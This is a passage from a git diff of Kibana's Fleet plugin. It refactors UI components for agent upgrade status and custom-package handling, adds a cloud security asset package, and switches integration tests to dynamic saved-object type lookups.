setIsInitialized(true); + const basePackagePolicy = packageToPackagePolicy( + packageInfo, + agentPolicies.map((policy) => policy.id), + '', + DEFAULT_PACKAGE_POLICY.name || incrementedName, + DEFAULT_PACKAGE_POLICY.description, + integrationToEnable + ); + + // Set the package policy with the fetched package + updatePackagePolicy(basePackagePolicy); + setIsInitialized(true); + isFetchingBasePackage.current = false; + } + } + if (!isInitialized) { + // Fetch agent policies + init(); } - init(); }, [ + isFetchingBasePackage, packageInfo, agentPolicies, updatePackagePolicy, diff --git a/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/details_page/components/header/right_content.tsx b/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/details_page/components/header/right_content.tsx index 1f7e3217fd7df..a44e3556095dd 100644 --- a/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/details_page/components/header/right_content.tsx +++ b/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/agent_policy/details_page/components/header/right_content.tsx @@ -218,7 +218,9 @@ export const HeaderRightContent: React.FunctionComponent + +
    + ) : ( = ({

    {lastCheckinText}

    {lastCheckInMessageText}

    {isStuckInUpdating(agent) ? ( - isAgentInFailedUpgradeState(agent) ? ( + isAgentInFailedUpgradeState(agent.upgrade_details) ? ( = ({
    {getStatusComponent({ status: agent.status, + upgradeDetails: agent.upgrade_details, ...restOfProps, })}   @@ -215,6 +225,7 @@ export const AgentHealth: React.FunctionComponent = ({ <> {getStatusComponent({ status: agent.status, + upgradeDetails: agent.upgrade_details, ...restOfProps, })} {previousToOfflineStatus @@ -234,7 +245,7 @@ export const AgentHealth: React.FunctionComponent = ({ size="m" color="warning" title={ - isAgentInFailedUpgradeState(agent) ? ( + isAgentInFailedUpgradeState(agent.upgrade_details) ? ( = ({ id="xpack.fleet.agentHealth.stuckUpdatingText" defaultMessage="{stuckMessage} Consider restarting the upgrade. {learnMore}" values={{ - stuckMessage: isAgentInFailedUpgradeState(agent) + stuckMessage: isAgentInFailedUpgradeState(agent.upgrade_details) ? 'Agent upgrade failed.' : 'Agent has been updating for a while, and may be stuck.', learnMore: ( diff --git a/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/settings/components/outputs_table/integration_status.tsx b/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/settings/components/outputs_table/integration_status.tsx index 535da281e0e1c..bd192b0e25a85 100644 --- a/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/settings/components/outputs_table/integration_status.tsx +++ b/x-pack/platform/plugins/shared/fleet/public/applications/fleet/sections/settings/components/outputs_table/integration_status.tsx @@ -47,8 +47,9 @@ const CollapsiblePanel: React.FC<{ children: React.ReactNode; id: string; title: React.ReactNode; + isDisabled?: boolean; 'data-test-subj'?: string; -}> = ({ id, title, children, 'data-test-subj': dataTestSubj }) => { +}> = ({ id, title, children, isDisabled, 'data-test-subj': dataTestSubj }) => { const arrowProps = useMemo(() => { if (dataTestSubj) { return { @@ -57,6 +58,7 @@ const CollapsiblePanel: React.FC<{ } return undefined; }, [dataTestSubj]); + const { euiTheme } = useEuiTheme(); return ( {children} @@ -142,6 +145,7 @@ export const IntegrationStatus: React.FunctionComponent<{

    @@ -252,6 +256,8 @@ export const IntegrationStatus: React.FunctionComponent<{ diff --git a/x-pack/platform/plugins/shared/fleet/public/applications/integrations/sections/epm/screens/detail/index.tsx b/x-pack/platform/plugins/shared/fleet/public/applications/integrations/sections/epm/screens/detail/index.tsx index 9fdc40d1973cb..f731d3cffbdea 100644 --- a/x-pack/platform/plugins/shared/fleet/public/applications/integrations/sections/epm/screens/detail/index.tsx +++ b/x-pack/platform/plugins/shared/fleet/public/applications/integrations/sections/epm/screens/detail/index.tsx @@ -173,7 +173,7 @@ export function Detail() { // edit readme state const [isEditOpen, setIsEditOpen] = useState(false); - const [shouldAllowEdit, setShouldAllowEdit] = useState(false); + const [isCustomPackage, setIsCustomPackage] = useState(false); // Package info state const [packageInfo, setPackageInfo] = useState(null); @@ -301,7 +301,7 @@ export function Detail() { if (packageInfoIsFetchedAfterMount && packageInfoData?.item) { const packageInfoResponse = packageInfoData.item; setPackageInfo(packageInfoResponse); - setShouldAllowEdit( + setIsCustomPackage( (packageInfoResponse?.installationInfo?.install_source && CUSTOM_INTEGRATION_SOURCES.includes( packageInfoResponse.installationInfo?.install_source @@ -578,7 +578,7 @@ export function Detail() { tourOffset={10} > - {shouldAllowEdit && ( + {isCustomPackage && ( diff --git a/x-pack/platform/plugins/shared/fleet/public/applications/integrations/sections/epm/screens/detail/settings/reinstall_button.tsx b/x-pack/platform/plugins/shared/fleet/public/applications/integrations/sections/epm/screens/detail/settings/reinstall_button.tsx index 5a63208d55e9c..cec875b601731 100644 --- a/x-pack/platform/plugins/shared/fleet/public/applications/integrations/sections/epm/screens/detail/settings/reinstall_button.tsx +++ b/x-pack/platform/plugins/shared/fleet/public/applications/integrations/sections/epm/screens/detail/settings/reinstall_button.tsx @@ -15,9 +15,10 @@ import { useAuthz, useGetPackageInstallStatus, useInstallPackage } from '../../. type ReinstallationButtonProps = Pick & { installSource: string; + isCustomPackage: boolean; }; export function ReinstallButton(props: ReinstallationButtonProps) { - const { name, title, version, installSource } = props; + const { name, title, version, installSource, isCustomPackage } = props; const canInstallPackages = useAuthz().integrations.installPackages; const installPackage = useInstallPackage(); const getPackageInstallStatus = useGetPackageInstallStatus(); @@ -35,7 +36,7 @@ export function ReinstallButton(props: ReinstallationButtonProps) { iconType="refresh" isLoading={isReinstalling} onClick={handleClickReinstall} - disabled={isUploadedPackage} + disabled={isUploadedPackage || isCustomPackage} > {isReinstalling ? ( ; + isCustomPackage: boolean; } export const SettingsPage: React.FC = memo( - ({ packageInfo, packageMetadata, startServices }: Props) => { + ({ packageInfo, packageMetadata, startServices, isCustomPackage }: Props) => { const authz = useAuthz(); const { name, title, latestVersion, version, keepPoliciesUpToDate } = packageInfo; const [isUpgradingPackagePolicies, setIsUpgradingPackagePolicies] = useState(false); @@ -441,6 +442,7 @@ export const SettingsPage: React.FC = memo( ? packageInfo.installationInfo.install_source : '' } + isCustomPackage={isCustomPackage} />

    diff --git a/x-pack/platform/plugins/shared/fleet/public/components/agent_enrollment_flyout/hooks.tsx b/x-pack/platform/plugins/shared/fleet/public/components/agent_enrollment_flyout/hooks.tsx index 440b520a69ca7..edfdd97948748 100644 --- a/x-pack/platform/plugins/shared/fleet/public/components/agent_enrollment_flyout/hooks.tsx +++ b/x-pack/platform/plugins/shared/fleet/public/components/agent_enrollment_flyout/hooks.tsx @@ -18,7 +18,11 @@ import { useGetPackageInfoByKeyQuery, useStartServices, } from '../../hooks'; -import { FLEET_KUBERNETES_PACKAGE, FLEET_CLOUD_SECURITY_POSTURE_PACKAGE } from '../../../common'; +import { + FLEET_KUBERNETES_PACKAGE, + FLEET_CLOUD_SECURITY_POSTURE_PACKAGE, + FLEET_CLOUD_SECURITY_ASSET_PACKAGE, +} from '../../../common'; import { getTemplateUrlFromAgentPolicy, @@ -103,11 +107,15 @@ export function useCloudSecurityIntegration(agentPolicy?: AgentPolicy) { }, [agentPolicy]); const integrationVersion = cloudSecurityPackagePolicy?.package?.version; + const packageName = + cloudSecurityPackagePolicy?.package?.name === FLEET_CLOUD_SECURITY_POSTURE_PACKAGE + ? FLEET_CLOUD_SECURITY_POSTURE_PACKAGE + : FLEET_CLOUD_SECURITY_ASSET_PACKAGE; // Fetch the package info to get the CloudFormation template URL only // if the package policy is a Cloud Security policy const { data: packageInfoData, isLoading } = useGetPackageInfoByKeyQuery( - FLEET_CLOUD_SECURITY_POSTURE_PACKAGE, + packageName, integrationVersion, { full: true }, { enabled: Boolean(cloudSecurityPackagePolicy) } @@ -198,7 +206,9 @@ const getCloudSecurityPackagePolicyFromAgentPolicy = ( agentPolicy?: AgentPolicy ): PackagePolicy | undefined => { return agentPolicy?.package_policies?.find( - (input) => input.package?.name === FLEET_CLOUD_SECURITY_POSTURE_PACKAGE + (input) => + input.package?.name === FLEET_CLOUD_SECURITY_POSTURE_PACKAGE || + input.package?.name === FLEET_CLOUD_SECURITY_ASSET_PACKAGE ); }; diff --git a/x-pack/platform/plugins/shared/fleet/server/collectors/fleet_server_collector.ts b/x-pack/platform/plugins/shared/fleet/server/collectors/fleet_server_collector.ts index 54a3152585545..bb309ed363269 100644 --- a/x-pack/platform/plugins/shared/fleet/server/collectors/fleet_server_collector.ts +++ b/x-pack/platform/plugins/shared/fleet/server/collectors/fleet_server_collector.ts @@ -56,7 +56,7 @@ export const getFleetServerUsage = async ( const res = await packagePolicyService.list(soClient, { page: page++, perPage: 20, - kuery: 'ingest-package-policies.package.name:fleet_server', + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:fleet_server`, }); for (const item of res.items) { diff --git a/x-pack/platform/plugins/shared/fleet/server/collectors/get_all_fleet_server_agents.ts b/x-pack/platform/plugins/shared/fleet/server/collectors/get_all_fleet_server_agents.ts index 948352f9cd35c..36e6b088a23cb 100644 --- a/x-pack/platform/plugins/shared/fleet/server/collectors/get_all_fleet_server_agents.ts +++ b/x-pack/platform/plugins/shared/fleet/server/collectors/get_all_fleet_server_agents.ts @@ -18,6 +18,7 @@ export const getAllFleetServerAgents = async ( esClient: ElasticsearchClient ) => { let packagePolicyData; + try { packagePolicyData = await packagePolicyService.list(soClient, { perPage: SO_SEARCH_LIMIT, diff --git a/x-pack/platform/plugins/shared/fleet/server/constants/index.ts b/x-pack/platform/plugins/shared/fleet/server/constants/index.ts index ecb889a1fcae0..f9e93bc785bcf 100644 --- a/x-pack/platform/plugins/shared/fleet/server/constants/index.ts +++ b/x-pack/platform/plugins/shared/fleet/server/constants/index.ts @@ -50,7 +50,8 @@ export { AGENTS_PREFIX, LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, AGENT_POLICY_SAVED_OBJECT_TYPE, - LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE as PACKAGE_POLICY_SAVED_OBJECT_TYPE, + LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, + PACKAGE_POLICY_SAVED_OBJECT_TYPE, OUTPUT_SAVED_OBJECT_TYPE, PACKAGES_SAVED_OBJECT_TYPE, ASSETS_SAVED_OBJECT_TYPE, diff --git a/x-pack/platform/plugins/shared/fleet/server/integration_tests/cloud_preconfiguration.test.ts b/x-pack/platform/plugins/shared/fleet/server/integration_tests/cloud_preconfiguration.test.ts index de5a04eb48afd..ac80ea2ef6a10 100644 --- a/x-pack/platform/plugins/shared/fleet/server/integration_tests/cloud_preconfiguration.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/integration_tests/cloud_preconfiguration.test.ts @@ -20,8 +20,11 @@ import type { PackagePolicySOAttributes, OutputSOAttributes, } from '../types'; +import { getAgentPolicySavedObjectType } from '../services/agent_policy'; +import { getPackagePolicySavedObjectType } from '../services/package_policy'; import { useDockerRegistry, waitForFleetSetup } from './helpers'; + import { CLOUD_KIBANA_CONFIG, CLOUD_KIBANA_CONFIG_WITHOUT_APM, @@ -34,6 +37,8 @@ const logFilePath = Path.join(__dirname, 'logs.log'); describe('Fleet cloud preconfiguration', () => { let esServer: TestElasticsearchUtils; let kbnServer: TestKibanaUtils; + let agentPolicyType: string; + let packagePolicyType: string; const registryUrl = useDockerRegistry(); @@ -141,6 +146,8 @@ describe('Fleet cloud preconfiguration', () => { describe('With a full preconfigured cloud policy', () => { beforeAll(async () => { await startServers(); + agentPolicyType = await getAgentPolicySavedObjectType(); + packagePolicyType = await getPackagePolicySavedObjectType(); }); afterAll(async () => { @@ -151,7 +158,7 @@ describe('Fleet cloud preconfiguration', () => { const agentPolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); @@ -367,7 +374,7 @@ describe('Fleet cloud preconfiguration', () => { const packagePolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-package-policies', + type: packagePolicyType, perPage: 10000, }); @@ -433,6 +440,8 @@ describe('Fleet cloud preconfiguration', () => { // 2. Add APM to the preconfigured policy await startOrRestartKibana(CLOUD_KIBANA_CONFIG); + agentPolicyType = await getAgentPolicySavedObjectType(); + packagePolicyType = await getPackagePolicySavedObjectType(); }); afterAll(async () => { @@ -443,7 +452,7 @@ describe('Fleet cloud preconfiguration', () => { const agentPolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); @@ -472,7 +481,7 @@ describe('Fleet cloud preconfiguration', () => { const packagePolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-package-policies', + type: packagePolicyType, perPage: 10000, }); @@ -498,6 +507,8 @@ describe('Fleet cloud preconfiguration', () => { // 2. Add pacakge policy ids to the preconfigured policy await startOrRestartKibana(CLOUD_KIBANA_CONFIG); + agentPolicyType = await getAgentPolicySavedObjectType(); + packagePolicyType = await getPackagePolicySavedObjectType(); }); afterAll(async () => { @@ -508,7 +519,7 @@ describe('Fleet cloud preconfiguration', () => { const agentPolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); @@ -523,7 +534,7 @@ describe('Fleet cloud preconfiguration', () => { const packagePolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-package-policies', + type: packagePolicyType, perPage: 10000, }); @@ -571,6 +582,7 @@ describe('Fleet cloud preconfiguration', () => { }, }, }); + agentPolicyType = await getAgentPolicySavedObjectType(); }); afterAll(async () => { diff --git a/x-pack/platform/plugins/shared/fleet/server/integration_tests/enable_space_awareness.test.ts b/x-pack/platform/plugins/shared/fleet/server/integration_tests/enable_space_awareness.test.ts index 0af9026bf8fa2..f20051d388e2c 100644 --- a/x-pack/platform/plugins/shared/fleet/server/integration_tests/enable_space_awareness.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/integration_tests/enable_space_awareness.test.ts @@ -20,6 +20,8 @@ import { SECURITY_EXTENSION_ID } from '@kbn/core-saved-objects-server'; import { AGENT_POLICY_SAVED_OBJECT_TYPE, + GLOBAL_SETTINGS_ID, + GLOBAL_SETTINGS_SAVED_OBJECT_TYPE, LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE, } from '../../common/constants'; @@ -188,6 +190,11 @@ describe('enableSpaceAwareness', () => { refresh: 'wait_for', } ); + + // Ensure we are always starting from a non-migrated state + await soClient.update(GLOBAL_SETTINGS_SAVED_OBJECT_TYPE, GLOBAL_SETTINGS_ID, { + use_space_awareness_migration_status: null, + }); }); it('should support concurrent calls', async () => { const res = await Promise.allSettled([ diff --git a/x-pack/platform/plugins/shared/fleet/server/integration_tests/fleet_usage_telemetry.test.ts b/x-pack/platform/plugins/shared/fleet/server/integration_tests/fleet_usage_telemetry.test.ts index 6ce4763a3ca12..e8d26df998c9e 100644 --- a/x-pack/platform/plugins/shared/fleet/server/integration_tests/fleet_usage_telemetry.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/integration_tests/fleet_usage_telemetry.test.ts @@ -15,6 +15,8 @@ import { } from '@kbn/core-test-helpers-kbn-server'; import { fetchFleetUsage } from '../collectors/register'; +import { getAgentPolicySavedObjectType } from '../services/agent_policy'; +import { getPackagePolicySavedObjectType } from '../services/package_policy'; import { waitForFleetSetup } from './helpers'; @@ -24,6 +26,9 @@ describe('fleet usage telemetry', () => { let core: any; let esServer: TestElasticsearchUtils; let kbnServer: TestKibanaUtils; + let agentPolicyType: string; + let packagePolicyType: string; + const registryUrl = 'http://localhost'; const startServers = async () => { @@ -112,7 +117,8 @@ describe('fleet usage telemetry', () => { beforeAll(async () => { await startServers(); - + agentPolicyType = await getAgentPolicySavedObjectType(); + packagePolicyType = await getPackagePolicySavedObjectType(); const esClient = kbnServer.coreStart.elasticsearch.client.asInternalUser; await esClient.bulk({ index: '.fleet-agents', @@ -342,7 +348,7 @@ describe('fleet usage telemetry', () => { }); const soClient = kbnServer.coreStart.savedObjects.createInternalRepository(); - await soClient.create('ingest-package-policies', { + await soClient.create(packagePolicyType, { name: 'fleet_server-1', namespace: 'default', package: { @@ -370,7 +376,7 @@ describe('fleet usage telemetry', () => { latest_revision: true, }); - await soClient.create('ingest-package-policies', { + await soClient.create(packagePolicyType, { name: 'nginx-1', namespace: 'default', package: { @@ -430,7 +436,7 @@ describe('fleet usage telemetry', () => { ); await soClient.create( - 'ingest-agent-policies', + agentPolicyType, { namespace: 'default', monitoring_enabled: ['logs', 'metrics'], @@ -452,7 +458,7 @@ describe('fleet usage telemetry', () => { { id: 'policy2' } ); await soClient.create( - 'ingest-agent-policies', + agentPolicyType, { namespace: 'default', monitoring_enabled: ['logs', 'metrics'], diff --git a/x-pack/platform/plugins/shared/fleet/server/integration_tests/ha_setup.test.ts b/x-pack/platform/plugins/shared/fleet/server/integration_tests/ha_setup.test.ts index 6c5ecf6730e19..1c1281c11bfe4 100644 --- a/x-pack/platform/plugins/shared/fleet/server/integration_tests/ha_setup.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/integration_tests/ha_setup.test.ts @@ -23,6 +23,8 @@ import type { OutputSOAttributes, PackagePolicySOAttributes, } from '../types'; +import { getAgentPolicySavedObjectType } from '../services/agent_policy'; +import { getPackagePolicySavedObjectType } from '../services/package_policy'; import { useDockerRegistry } from './helpers'; @@ -253,8 +255,10 @@ describe('Fleet setup preconfiguration with multiple instances Kibana', () => { async function expectFleetSetupState(soClient: ISavedObjectsRepository) { // Assert setup state + const agentPolicyType = await getAgentPolicySavedObjectType(); + const packagePolicyType = await getPackagePolicySavedObjectType(); const agentPolicies = await soClient.find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); expect(agentPolicies.saved_objects).toHaveLength(2); @@ -274,7 +278,7 @@ describe('Fleet setup preconfiguration with multiple instances Kibana', () => { ); const packagePolicies = await soClient.find({ - type: 'ingest-package-policies', + type: packagePolicyType, perPage: 10000, }); expect(packagePolicies.saved_objects).toHaveLength(2); diff --git a/x-pack/platform/plugins/shared/fleet/server/integration_tests/reset_preconfiguration.test.ts b/x-pack/platform/plugins/shared/fleet/server/integration_tests/reset_preconfiguration.test.ts index 65224e2408bd6..47eea67219e7c 100644 --- a/x-pack/platform/plugins/shared/fleet/server/integration_tests/reset_preconfiguration.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/integration_tests/reset_preconfiguration.test.ts @@ -16,6 +16,7 @@ import { import type { AgentPolicySOAttributes } from '../types'; import { PRECONFIGURATION_DELETION_RECORD_SAVED_OBJECT_TYPE } from '../../common'; +import { getAgentPolicySavedObjectType } from '../services/agent_policy'; import { API_VERSIONS } from '../../common/constants'; import { useDockerRegistry, waitForFleetSetup, getSupertestWithAdminUser } from './helpers'; @@ -26,6 +27,7 @@ const logFilePath = Path.join(__dirname, 'logs.log'); describe('Fleet preconfiguration reset', () => { let esServer: TestElasticsearchUtils; let kbnServer: TestKibanaUtils; + let agentPolicyType: string; const registryUrl = useDockerRegistry(); @@ -178,6 +180,7 @@ describe('Fleet preconfiguration reset', () => { // Share the same servers for all the test to make test a lot faster (but test are not isolated anymore) beforeAll(async () => { await startServers(); + agentPolicyType = await getAgentPolicySavedObjectType(); }); afterAll(async () => { @@ -265,7 +268,7 @@ describe('Fleet preconfiguration reset', () => { const agentPolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); expect(agentPolicies.saved_objects).toHaveLength(2); @@ -287,10 +290,10 @@ describe('Fleet preconfiguration reset', () => { it('Works and reset one preconfigured policies if the policy is already deleted (with a ghost package policy)', async () => { const soClient = kbnServer.coreStart.savedObjects.createInternalRepository(); - await soClient.delete('ingest-agent-policies', POLICY_ID); + await soClient.delete(agentPolicyType, POLICY_ID); const oldAgentPolicies = await soClient.find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); @@ -301,6 +304,7 @@ describe('Fleet preconfiguration reset', () => { 'post', '/internal/fleet/reset_preconfigured_agent_policies/test-12345' ); + await resetAPI .set('kbn-sxrf', 'xx') .set('Elastic-Api-Version', `${API_VERSIONS.public.v1}`) @@ -310,7 +314,7 @@ describe('Fleet preconfiguration reset', () => { const agentPolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); expect(agentPolicies.saved_objects).toHaveLength(2); @@ -332,7 +336,7 @@ describe('Fleet preconfiguration reset', () => { it('Works if the preconfigured policies already exists with a missing package policy', async () => { const soClient = kbnServer.coreStart.savedObjects.createInternalRepository(); - await soClient.update('ingest-agent-policies', POLICY_ID, {}); + await soClient.update(agentPolicyType, POLICY_ID, {}); const resetAPI = getSupertestWithAdminUser( kbnServer.root, @@ -346,7 +350,7 @@ describe('Fleet preconfiguration reset', () => { .send(); const agentPolicies = await soClient.find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); expect(agentPolicies.saved_objects).toHaveLength(2); @@ -366,7 +370,7 @@ describe('Fleet preconfiguration reset', () => { it('Works and reset one preconfigured policies if the policy was deleted with a preconfiguration deletion record', async () => { const soClient = kbnServer.coreStart.savedObjects.createInternalRepository(); - await soClient.delete('ingest-agent-policies', POLICY_ID); + await soClient.delete(agentPolicyType, POLICY_ID); await soClient.create(PRECONFIGURATION_DELETION_RECORD_SAVED_OBJECT_TYPE, { id: POLICY_ID, }); @@ -385,7 +389,7 @@ describe('Fleet preconfiguration reset', () => { const agentPolicies = await kbnServer.coreStart.savedObjects .createInternalRepository() .find({ - type: 'ingest-agent-policies', + type: agentPolicyType, perPage: 10000, }); expect(agentPolicies.saved_objects).toHaveLength(2); diff --git a/x-pack/platform/plugins/shared/fleet/server/integration_tests/upgrade_agent_policy_schema_version.test.ts b/x-pack/platform/plugins/shared/fleet/server/integration_tests/upgrade_agent_policy_schema_version.test.ts index 51ca5b9afb358..f0883eeec9fde 100644 --- a/x-pack/platform/plugins/shared/fleet/server/integration_tests/upgrade_agent_policy_schema_version.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/integration_tests/upgrade_agent_policy_schema_version.test.ts @@ -23,13 +23,11 @@ import { createRootWithCorePlugins, } from '@kbn/core-test-helpers-kbn-server'; -import { - LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, - FLEET_AGENT_POLICIES_SCHEMA_VERSION, -} from '../constants'; +import { FLEET_AGENT_POLICIES_SCHEMA_VERSION } from '../constants'; import { upgradeAgentPolicySchemaVersion } from '../services/setup/upgrade_agent_policy_schema_version'; import { AGENT_POLICY_INDEX } from '../../common'; import { agentPolicyService } from '../services'; +import { getAgentPolicySavedObjectType } from '../services/agent_policy'; import { useDockerRegistry, waitForFleetSetup } from './helpers'; @@ -51,6 +49,7 @@ const fakeRequest = { describe('upgrade agent policy schema version', () => { let esServer: TestElasticsearchUtils; let kbnServer: TestKibanaUtils; + let agentPolicyType: string; const registryUrl = useDockerRegistry(); @@ -119,6 +118,7 @@ describe('upgrade agent policy schema version', () => { // Share the same servers for all the test to make test a lot faster (but test are not isolated anymore) beforeAll(async () => { await startServers(); + agentPolicyType = await getAgentPolicySavedObjectType(); }); afterAll(async () => { @@ -144,7 +144,7 @@ describe('upgrade agent policy schema version', () => { await soClient.bulkCreate([ // up-to-date schema_version { - type: LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, + type: agentPolicyType, id: uuidv4(), attributes: { schema_version: FLEET_AGENT_POLICIES_SCHEMA_VERSION, @@ -153,7 +153,7 @@ describe('upgrade agent policy schema version', () => { }, // out-of-date schema_version { - type: LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, + type: agentPolicyType, id: uuidv4(), attributes: { schema_version: '0.0.1', @@ -162,7 +162,7 @@ describe('upgrade agent policy schema version', () => { }, // missing schema_version { - type: LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, + type: agentPolicyType, id: uuidv4(), attributes: { revision: 1, @@ -173,7 +173,7 @@ describe('upgrade agent policy schema version', () => { await upgradeAgentPolicySchemaVersion(soClient); const policies = await agentPolicyService.list(soClient, { - kuery: `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.schema_version:${FLEET_AGENT_POLICIES_SCHEMA_VERSION}`, + kuery: `${agentPolicyType}.schema_version:${FLEET_AGENT_POLICIES_SCHEMA_VERSION}`, }); // all 3 should be up-to-date after upgrade expect(policies.total).toBe(3); diff --git a/x-pack/platform/plugins/shared/fleet/server/plugin.ts b/x-pack/platform/plugins/shared/fleet/server/plugin.ts index e4b5dcccefbb2..9a31e25193044 100644 --- a/x-pack/platform/plugins/shared/fleet/server/plugin.ts +++ b/x-pack/platform/plugins/shared/fleet/server/plugin.ts @@ -10,7 +10,6 @@ import type { Observable } from 'rxjs'; import { BehaviorSubject } from 'rxjs'; import { filter, take } from 'rxjs'; import { DEFAULT_SPACE_ID } from '@kbn/spaces-plugin/common'; -import { i18n } from '@kbn/i18n'; import type { CoreSetup, CoreStart, @@ -360,9 +359,6 @@ export class FleetPlugin scope: [KibanaFeatureScope.Spaces, KibanaFeatureScope.Security], app: [PLUGIN_ID], catalogue: ['fleet'], - privilegesTooltip: i18n.translate('xpack.fleet.serverPlugin.privilegesTooltip', { - defaultMessage: 'All Spaces is required for Fleet access.', - }), reserved: { description: 'Privilege to setup Fleet packages and configured policies. Intended for use by the elastic/fleet-server service account only.', diff --git a/x-pack/platform/plugins/shared/fleet/server/routes/epm/handlers.ts b/x-pack/platform/plugins/shared/fleet/server/routes/epm/handlers.ts index b1351c8e42dd6..db06d977803b0 100644 --- a/x-pack/platform/plugins/shared/fleet/server/routes/epm/handlers.ts +++ b/x-pack/platform/plugins/shared/fleet/server/routes/epm/handlers.ts @@ -115,7 +115,11 @@ export const getListHandler: FleetRequestHandler< savedObjectsClient, ...request.query, }); - const flattenedRes = res.map((pkg) => soToInstallationInfo(pkg)) as PackageList; + const flattenedRes = res + // exclude the security_ai_prompts package from being shown in Kibana UI + // https://github.com/elastic/kibana/pull/227308 + .filter((pkg) => pkg.id !== 'security_ai_prompts') + .map((pkg) => soToInstallationInfo(pkg)) as PackageList; if (request.query.withPackagePoliciesCount) { const countByPackage = await getPackagePoliciesCountByPackageName( diff --git a/x-pack/platform/plugins/shared/fleet/server/routes/utils/filter_utils_real_queries.test.ts b/x-pack/platform/plugins/shared/fleet/server/routes/utils/filter_utils_real_queries.test.ts index c4cad780aab05..aedc2ba9199f1 100644 --- a/x-pack/platform/plugins/shared/fleet/server/routes/utils/filter_utils_real_queries.test.ts +++ b/x-pack/platform/plugins/shared/fleet/server/routes/utils/filter_utils_real_queries.test.ts @@ -9,6 +9,8 @@ import * as esKuery from '@kbn/es-query'; import { LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, + AGENT_POLICY_SAVED_OBJECT_TYPE, + LEGACY_PACKAGE_POLICY_SAVED_OBJECT_TYPE, PACKAGE_POLICY_SAVED_OBJECT_TYPE, AGENTS_PREFIX, AGENT_POLICY_MAPPINGS, @@ -25,228 +27,248 @@ jest.mock('../../services/app_context'); describe('ValidateFilterKueryNode validates real kueries through KueryNode', () => { describe('Agent policies', () => { - it('Search by data_output_id', async () => { - const astFilter = esKuery.fromKueryExpression( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id: test_id` - ); - const validationObject = validateFilterKueryNode({ - astFilter, - types: [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - indexMapping: AGENT_POLICY_MAPPINGS, - storeValue: true, - }); - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: null, - isSavedObjectAttr: true, - key: 'ingest-agent-policies.data_output_id', - type: 'ingest-agent-policies', - }, - ]); - }); - - it('Search by inactivity timeout', async () => { - const astFilter = esKuery.fromKueryExpression( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.inactivity_timeout:*` - ); - const validationObject = validateFilterKueryNode({ - astFilter, - types: [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - indexMapping: AGENT_POLICY_MAPPINGS, - storeValue: true, - }); - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: null, - isSavedObjectAttr: true, - key: 'ingest-agent-policies.inactivity_timeout', - type: 'ingest-agent-policies', - }, - ]); - }); - - it('Complex query', async () => { - const validationObject = validateFilterKueryNode({ - astFilter: esKuery.fromKueryExpression( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.download_source_id:some_id or (not ${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.download_source_id:*)` - ), - types: [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - indexMapping: AGENT_POLICY_MAPPINGS, - storeValue: true, - }); - - expect(validationObject).toEqual([ - { - astPath: 'arguments.0', - error: null, - isSavedObjectAttr: true, - key: 'ingest-agent-policies.download_source_id', - type: 'ingest-agent-policies', - }, - { - astPath: 'arguments.1.arguments.0', - error: null, - isSavedObjectAttr: true, - key: 'ingest-agent-policies.download_source_id', - type: 'ingest-agent-policies', - }, - ]); - }); - - it('Test another complex query', async () => { - const astFilter = esKuery.fromKueryExpression( - `${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id: test_id or ${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.monitoring_output_id: test_id or (not ${LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE}.data_output_id:*)` - ); - const validationObject = validateFilterKueryNode({ - astFilter, - types: [LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE], - indexMapping: 